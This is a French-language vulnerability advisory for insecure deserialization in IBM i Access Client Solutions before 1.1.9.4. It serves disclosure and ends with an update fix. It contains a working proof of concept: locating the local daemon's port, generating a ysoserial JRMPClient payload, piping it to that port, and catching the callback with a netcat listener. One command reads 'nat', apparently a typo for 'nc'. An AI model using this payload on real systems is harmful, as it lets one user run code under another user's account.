
IBM i Access Client Solutions < 1.1.9.4 - Exécution de code à distance via une désérialisation non sécurisée
IBM i Access Client Solutions < 1.1.9.4 - Exécution de code à distance via une désérialisation non sécurisée.
IBM i Access Client Solutions utilise une désérialisation non sécurisée pour le stockage des mots de passe et l'obtention de la clé de déchiffrement pour le chiffrement des mots de passe. Cela pourrait être utilisé par un attaquant local ou distant pour exécuter du code.
Le serveur local peut être facilement trouvé en utilisant la commande netstat :
┌──(mkubiak㉿localhost)-[/tmp/mkubiak]
└─$ netstat -nltp | grep java
tcp6 0 0 :::34307 :::* LISTEN 3225094/java off (0.00/0/0)
Nous pouvons confirmer les détails de ce serveur local en utilisant la commande ps :
┌──(mkubiak㉿localhost)-[/tmp/mkubiak]
└─$ ps aux | grep java
mmajchr+ 3224938 6.8 0.9 13305316 301392 pts/6 Sl+ 12:30 0:17 java -jar ./acsbundle_1.9.new.jar
mmajchr+ 3225094 0.3 0.2 11512420 79692 pts/6 Sl+ 12:30 0:00 /usr/lib/jvm/java-17-openjdk-amd64/bin/java -Djava.class.path=/tmp/ACS.lm13910263510749358977.jar -Dvisualvm.display.name=ACS Daemon -Dcom.ibm.tools.attach.displayName=ACS Daemon com.ibm.iaccess.base.LmHybridServerImpl
mkubiak 3238934 0.0 0.0 6464 1992 pts/12 R+ 12:44 0:00 grep --color=auto java
Nous pouvons exécuter du code par l'utilisateur mmajchrowicz en utilisant la charge utile ysoserial depuis le compte mkubiak :
┌──(mkubiak㉿localhost)-[/tmp/mkubiak]
└─$ id
uid=1012(mkubiak) gid=1012(mkubiak) groups=1012(mkubiak),27(sudo)
┌──(mkubiak㉿localhost)-[/tmp/mkubiak]
└─$ java -jar ysoserial.jar JRMPClient '127.0.0.1:9191' > jrmp.bin
┌──(mkubiak㉿localhost)-[/tmp/mkubiak]
└─$ (sleep 3; cat jrmp.bin) | nat -6 ::1 34307
Dans un second terminal, nous recevrons la connexion après l'exécution de la charge utile par le service :
┌──(mkubiak㉿localhost)-[/tmp/mkubiak]
└─$ nc -lvnp 9191
listening on [any] 9191 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 38012
JRMIK
┌──(mkubiak㉿localhost)-[/tmp/mkubiak]
└─$
Ce problème a été causé par une désérialisation non sécurisée des paquets réseau et des données utilisateur. Ce problème est corrigé dans IBM i Access Client Solutions 1.1.9.4.
< 1.1.9.4
Mettez à jour IBM i Access Client Solutions vers la version 1.1.9.4 ou une version ultérieure.